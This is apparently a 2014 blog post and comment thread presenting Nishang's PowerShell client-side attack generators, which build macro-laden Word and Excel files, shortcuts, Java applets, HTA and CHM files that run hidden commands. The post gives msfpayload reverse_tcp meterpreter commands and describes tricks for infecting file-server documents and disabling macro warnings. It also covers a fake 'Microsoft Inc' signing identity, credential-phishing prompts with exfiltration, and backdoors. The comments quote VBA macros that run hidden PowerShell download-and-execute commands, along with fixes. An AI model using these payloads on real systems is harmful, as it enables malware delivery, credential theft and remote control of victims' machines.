Friday, November 28, 2014

Using PowerShell for Client Side Attacks

This blog post details everything I spoke about at DeepSec [slides here] plus much more.

 tl;dr: Try the new scripts from Nishang here.

Why using Client Side Attacks with PowerShell?

When I started working on this, I just thought of using PowerShell scripts and payloads for client side attacks and not of the generator scripts. There are many awesome Social Engineering tools out there, then why PowerShell? There are many reasons, first and foremost, coding a tool not only helps in understanding the attacks but also improves the grasp over that language. Other reasons, like the tremendous power with PowerShell, easy availability on Windows targets, no or low detection rate, easy post exploitation also motivated me.

With this blog post, a newer version of Nishang with "Client" category of attacks is also being released.
Lets have a look at the scripts one-by-one.


Out-Word, as the name suggests, outputs a MS Word file with auto executable macro which runs given PowerShell commands and scripts.
Lets see it in action.

Above command, writes a Word file called Salary_Details.doc in the current directory. When the file is opened, the PowerShell command Get-Process will be executed on the target.

We could also use PowerShell one-liner download-execute to execute scripts on the target. For example, lets pass the PowerShell code generated using msfpayload (./msfpayload windows/x64/meterpreter/reverse_tcp LHOST= exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1)

Now, if a target opens up the doc generated by above command, it would download and execute the PowerShell script resulting in a nice meterpreter session. Great!

We could also pass arguments to the script. This is helpful if the script being executed loads a function. This holds true for Nishang and other PowerShell security related toolkits too.

In the above command, we have passed the name of the function loaded by Get-Information.ps1 as an argument to actually execute the functionality of the script, Otherwise, it would end up just loading the function. Alternatively, we can make a function call in the script itself.

The ability to pass arguments is also useful if we want to use a script module like Powerpreter with Out-Word. Lets try calling a backdoor function from Powerpreter.

We could also use Encoded scripts with the Out-Word to avoid communication with the Internet as in case with the above method. The Macro code seems to insert a new line if a long EncodedCommand is passed to it, which breaks the code. We could use the compression and encoding available with Invoke-Encode in Nishang to generate a much smaller command for an encoded string. Use –PostScriptCommand switch to use it. It is based on the Compress-Post script by Carlos here.

We must properly escape the single quotes (‘) in the generated command to be able to use it with Out-Word.

Notice the escaping of single quotes using two single quotes in the compressed script. Still, I was unable to use big scripts with this option. Your mileage may vary.

There is more to Out-Word than this. It could also be used to infect/arm/weaponize  - I love the word weaponize *giggles* - existing Word files on a machine. It does so by creating copies of the existing files loaded with the auto executable macro. We just need to pass –WordFileDir parameter with it.The data in the original Word is also copied in the new one.

Use –Recurse parameter to perform the action recursively. Use the –RemoveDocx parameter to remove the original docx files.

Macro Security with Out-Word:
It disables the Macro Security on the machine the computer on which it is executed. That is, if you execute the PowerShell script on the target, the user will not see any warning about Macros. If you send the generated Word doc to the user, he will see the usual macro warning. Disabling Macro security is necessary otherwise we would be unable to write macros to the Word file.

To safely use Out-Word, we could use –RemainSafe parameter which re-enables the macro security after doing the stuff.

Now, imagine we get access to a fileserver and want to infect files there and increase the chances of users opening the infected files. Out-Word uses couple of small but smart tricks to try fooling users in case –WordFileDir is being used.

1. It copies the LastWriteTime from the .docx files and assign it to the generated .doc file. So at least to a normal user, the .doc files would not appear to be something newly appeared.

2. If the extensions for known file types are hidden on the machine, Out-Word adds .docx extension to the generated infected doc files. For example, for a file IT-Assets.docx it generates an infected file IT-Assets.docx.doc.

EDIT/UPDATE: Many are asking but it is not possible to add password protection to the Macros programatically. So if you want to add passwords to macros, it must be done manually.


The Macro code for both Out-Word and Out-Excel has been directly taken from Matt’s code here. Check out his blog for more interesting work on using PowerShell for client side attacks. Also, see this post by by Matthew Graeber on analysing Powerworm, couple of whose features have been implemented in Out-Word.


Out-Excel works exactly same for Excel files as Out-Word for Word files. All the options and features are available for Out-Excel as well. We may have a better chance of a user trusting Macros in Excel than in Word.


Lets see another interesting script, Out-Shortcut. It creates a shortcut which could be used to execute command and scripts on a target computer.

It could be used for executing commands:

Note the absence of powershell.exe in the payload above. Out-Shortcut could also be used for every attack method discussed above. Lets discuss features exclusive to Out-Shortcut.

It is easier to use encodedcomands with Out-Shortcut. We could just use Invoke-Encode with –OutCommand parameter and pass the generated encoded script to Out-Shortcut as below:

Out-Shortcut assigns a default hotkey ‘F5’ to the Shortcut. This executes Shortcut whenever the key is pressed until the file is either deleted or machine reboot. A small but useful trick :) It also assigns icon of “explorer.exe” to the created shortcut. We could change both the options using –Hotkey and –Icon parameters as shown below:

Note that, the Hotkey works only if the script is executed on the target.

Out-Shortcut is inspired from the attack mentioned in this blog at Trend Micro.


Out-Java could be used for Java Applet attacks. The script generates a signed JAR and HTML which uses the applet tag to load the JAR. The JAR and HTML need to be hosted on a web server and as soon as the target opens that URL, we would be in!

The script by-default self signs the JAR. We must have JDK on our machine to be able to compile and sign the Java code.

As other scripts in Nishang’s client side attack category, Out-Java is able to execute commands, encoded scripts and download-execute scripts. Here’s a simple example:

Again, we could pass encoded PowerShell scripts, even the bigger ones, without any issue.

If we the –NoSelfSign parameter, a non-signed JAR is generated which could later be signed with a trusted certificate.

The Java code uses Operating System architecture detection and calls 32-bit PowerShell even on 64-bit computers. So, in case we need to execute shellcode, it could always be 32-bit. For example, lets generate a 32-bit reverse_tcp meterpreter in PowerShell and pass it to Out-Java. Use (./msfpayload windows/meterpreter/reverse_tcp LHOST= exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1). Encode it with Invoke-Encode with  –OutCommand parameter and:

In case, someone wants to run 64-bit shellcode, just remove the if condition from Java source. It has been marked with a comment.

Below options are hardcoded in Out-Java for certificate creation and JAR signing, change those for customization:

$KeystoreAlias = "SignApplet"
$KeyStore = "PSKeystore"
$StorePass = "PSKeystorePass"
$KeyPass = "PSKeyPass"
$DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US"

These are deliberately not asked for in the PowerShell parameters to keep the usage simple.

BTW, the latest Java version shows really ugly warning to the users, so using a valid certificate would increase chances of successful attacks. Still, I have not seen many targets who pay attention to such warnings. Also, the HTML generated using Out-Java loads a live Microsoft page in an attempt to make it look authentic. The better option is to clone a page and use it but that has not been done. If I feel like, that would be added in a future release.MS_Applet

Sadly, I was unable to achieve the PowerShell execution from applet for my DeepSec talk. Anyway, now it works.

References for this have been taken from David Kennedy’s Social Engineering Toolkit. Also, what got md working again on this was Piotr Marszalik’s Ps1encode


Out-HTA uses HTML application (HTA) to achieve PowerShell command and script execution. It generates HTA and VBS files which need to be hosted on a web server and a target needs to click/open the URL.

Like the other client side attacks we have been discussing, Out-HTA accepts as a payload – commands, encoded scripts and download-execute scripts.

A quick example is shown below:

Out-HTA also handles large encoded scripts really well, so that would be the best to use in this case.

The flip side of using HTA is the loud warnings Internet explorer shows to the user. If the user sees FireFox, it appears to be similar to downloading an executable. Out-HTA loads live page of Windows Defender from Microsoft’s website in an attempt to trick a user.


Out-CHM creates Compiled HTML Help file (CHM) which could execute PowerShell scripts and commands on the target.

We need hhc.exe (HTML Help Workshop) on the attacker’s machine. HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:

A quick example of using Out-CHM is below:

Out-CHM uses files from tcp/ip help file in Windows to make the file look authentic. We could always add more html files to make it look like a real document. Larger scripts, if used encoded, may result in problems.

Out-CHM is based on this tweet by @ithurricanept

Common Features and shortcomings

- All scripts run PowerShell in a new process, so closing the attack vector, be it an attachment or a link, would have no effect on the script being executed.

- Each script accepts encoded scripts, commands and one line download-execute.

- The attacks are not very hard to detect manually. More needs to be done on that part.

Better/Complex Attacks

Lets see some more attacks which take us beyond just meterpreter. These are also on the slides of my talk but lets see some here too:

Exfiltration of credentials from a target:

Above command calls the Credentials function from Powerpreter which shows a password prompt to target user. This prompt doesn’t go away till valid local or domain credentials are entered. The output of Credentials function is piped to Do-Exfiltration which exfiltrates those to a web server in encoded format. The web server must log POST requests.

The logs from the web server could be decoded using Invoke-Decode;.

Running a backdoor with new communications channel:

Above command runs the Gupt Backdoor on the target.

Executing  other client side attacks:

Above command, uses Out-Java to execute Out-Word on a target. Out-Word then infects all Word files in C:\ recursively. Such files when opened, would execute meterpreter PowerShell script.

There are endless possibilities for such and even better attacks.

All the above discussed code has been committed to Nishang under the Client directory. You could grab it from here:

Again, the slides for my DeepSec talks could be found here.

Hope you enjoy this and the code and the post turns out to be useful.


  1. Awesome work man, thanks!

  2. Looks great - however I'm getting errors trying to run Out-Word, namely "You cannot call a method on a null-valued expression":

    Exception setting "DisplayAlerts": "Cannot convert value "False" to type "Micro
    soft.Office.Interop.Word.WdAlertLevel". Error: "Invalid cast from 'System.Boole
    an' to 'Microsoft.Office.Interop.Word.WdAlertLevel'.""
    At C:\Users\test\Desktop\nishang\Client\Out-Word.ps1:127 char:11
    + $Word. <<<< DisplayAlerts = $False
    + CategoryInfo : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : PropertyAssignmentException

    You cannot call a method on a null-valued expression.
    At C:\Users\test\Desktop\nishang\Client\Out-Word.ps1:202 char:54
    + $DocModule = $Doc.VBProject.VBComponents.Item <<<< (1)
    + CategoryInfo : InvalidOperation: (Item:String) [], RuntimeExcep
    + FullyQualifiedErrorId : InvokeMethodOnNull

    You cannot call a method on a null-valued expression.
    At C:\Users\test\Desktop\nishang\Client\Out-Word.ps1:203 char:44
    + $DocModule.CodeModule.AddFromString <<<< ($code)
    + CategoryInfo : InvalidOperation: (AddFromString:String) [], Run
    + FullyQualifiedErrorId : InvokeMethodOnNull

    Argument: '1' should be a System.Management.Automation.PSReference. Use [ref].
    At C:\Users\test\Desktop\nishang\Client\Out-Word.ps1:204 char:20
    + $Doc.Saveas <<<< ($OutputFile, 0)
    + CategoryInfo : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : NonRefArgumentToRefParameterMsg

    Why would this be the case?

    1. Try using [ref]$OutputFile instead of $OutputFile in lines 204 and 184, seems to fix it for me.

    2. Nice that you got this working. I am sorry for being unable to look into it ealrier.

      The problem seems to be in Line 127 where the code is setting the DisplayAlerts. Strangely, I am unable to reporduce it. Could you please tell me the:
      1. The Windows Version in use.
      2. PowerShell version
      3. Office suite (2003, 2007 or later)

    3. I was the one that replied with the fix and am having the exact same issue:
      1) Windows 8.1 fully updated.
      2) PS version is 4.0.
      3) Office 2013.
      I thinks the problem is with the Office API used by the script but I really have no idea...
      Once again thanks alot for an awesome tool! :)

    4. Thanks for reporting. Meanwhile I try to setup Office 2013, could you please check this for me? (I have no Office 2013)
      Try modifying line 127 with:
      $Word.DisplayAlerts = [Microsoft.Office.InterOp.Word.WdAlertLevel]::wdAlertsNone


      $Word.DisplayAlerts = "wdAlertsNone"

      Please report if it solves the problem. Thank you!

    5. Please check now. A fix has been pushed.

  3. I tried your fix Nikhil but still the same issue :-(

    PS: I have MS Office 2010 on win 7.

  4. Hello,

    Thx for your work!
    I have tried your fix and I have the same issue:
    -VMware VM win7 Ultimate
    - Office 2010
    - PS Version 2

    1. Hi,
      It has been fixed. Please update your repository. Please respond if it fixes your problem.

  5. Fixed! Thanks a lot!

  6. Great! it works, thx and congratulations.

  7. Hello.
    Thanks for your work.
    I have problem with VBA macro in docx file.
    I use win 8.1 64 bit, wicrosoft office 2013

    Public Function Execute() As Variant
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://evil.ps1'));", Null, objConfig, intProcessID
    End Function

    Error in line Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Run-time error '-2147217406 (80041002)':
    automation error

    May be you can help me?

    1. Thanks for reporting. Are you using this exact Macro? If yes, there is no proper URL being passed to the Macro and this could be the reason.

      If not, let me try to reproduce this. I didn't test on Windows 8.1.

    2. real macro is:
      Sub Document_Open()

      End Sub

      Public Function Execute() As Variant
      Const HIDDEN_WINDOW = 0
      strComputer = "."
      Set objWMIService = GetObject("WinMgmts:{impersonationLevel=impersonate}!\\.\Root\CIMv2")

      Set objStartup = objWMIService.Get("Win32_ProcessStartup")
      Set objConfig = objStartup.SpawnInstance_
      objConfig.ShowWindow = HIDDEN_WINDOW
      Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
      objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString(''));", Null, objConfig, intProcessID
      End Function

      Can I need special PS script in evil.ps1?
      I use only one line start ./notepad
      I did it only for example for me.
      Thank you.

    3. Your PowerShell script is trying to use Set-ExecutionPolicy which needs Elevated privileges. That seems to be the culprit. You don't need that as ExecutionPolicy is already being bypassed. Remove it. Also, try using simple PowerShell commands for testing.

    4. What is simple PS command you mean?
      Thank you for atention.

    5. Try anything like Get-Process, $PsVersionTable, Get-Service etc.

  8. Hey! Awesome work! Love your blog and the awesome things you are doing in Powershell!

    Just a quick fix on your code: In your code for "Out-Excel" and "powerpreter", when you create the variable $Payload for the -PayloadURL, you have the syntax in the code as:

    objProcess.Create '$Payload', Null, objConfig, intProcessID

    The Single quotes cause the payload to fail, so I change it to double quotes:

    objProcess.Create "$Payload", Null, objConfig, intProcessID

    and that worked perfectly! I just wanted to let you know. Keep up the awesome work!

    1. Thank you very much for reporting this. It has been raised as a bug and fixed.

  9. Hello Nikhil, is your script supposed to work on certain windows/office/powershell version ? , i tried the updated release but i got the below error

    i'm using windows 7
    office 2007

    PS C:\Users\hkhrais> $PSVersionTable.PSVersion

    Major Minor Build Revision
    ----- ----- ----- --------
    2 0 -1 -1

    PS C:\Users\hkhrais\Desktop> Out-Word -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process
    Exception setting "DisplayAlerts": "Cannot convert value "False" to type "Microsoft.Office.Interop.Word.WdAlertLevel".
    Error: "Invalid cast from 'System.Boolean' to 'Microsoft.Office.Interop.Word.WdAlertLevel'.""
    At C:\Users\hkhrais\Desktop\Out-Word.ps1:105 char:15
    + $Word. <<<< DisplayAlerts = $False
    + CategoryInfo : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : PropertyAssignmentException

    Argument: '1' should be a System.Management.Automation.PSReference. Use [ref].
    At C:\Users\hkhrais\Desktop\Out-Word.ps1:192 char:24
    + $Doc.Saveas <<<< ($OutputFile, 0)
    + CategoryInfo : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : NonRefArgumentToRefParameterMsg

    Saved to file C:\Users\hkhrais\Desktop\Salary_Details.doc

    1. Can you check it on a machine with PowerShell v3? I am unable to reproduce the error.

    2. i upgraded my office to 2010, it doesn't show any error message but i don't see any output, i,e the salary.doc is not getting exported :( any idea how to troubleshoot further ?

    3. Well, interestingly it's working now, looks like upgrading the office resolved the problem, i just have a question on the security warning, per the slides it says that the script automatically disable it via registry keys but it's not he case here as i still able to see the pop up warning message about macro

    4. Interestingly, my test machine was an Office 2007 and PowerShellv3. Anyway, godd that you got it working. Warning should not be there. Are you using the -RemainSafe option?

    5. no i don't, but looks like the Trust Center is the one making this alert.
      i tested on
      windows server 2008 r2 running office 2010
      windows 7 running office 2010
      windows 7 running office 2007

    6. well i think i figured out the answer, it's just right here

      the warning will still show up and we need to have a way to convince the user to do it ... please correct me if i'm wrong

    7. If you are able to execute Out-Word.ps1 on the target there would be no warning. Out-Word changes registry settings related to the Trust Center.

      But if you execute a document generated by Out-Word on a target there would be warnings. Just checked it for Office 2007.

    8. got it .. thanks for your clarification.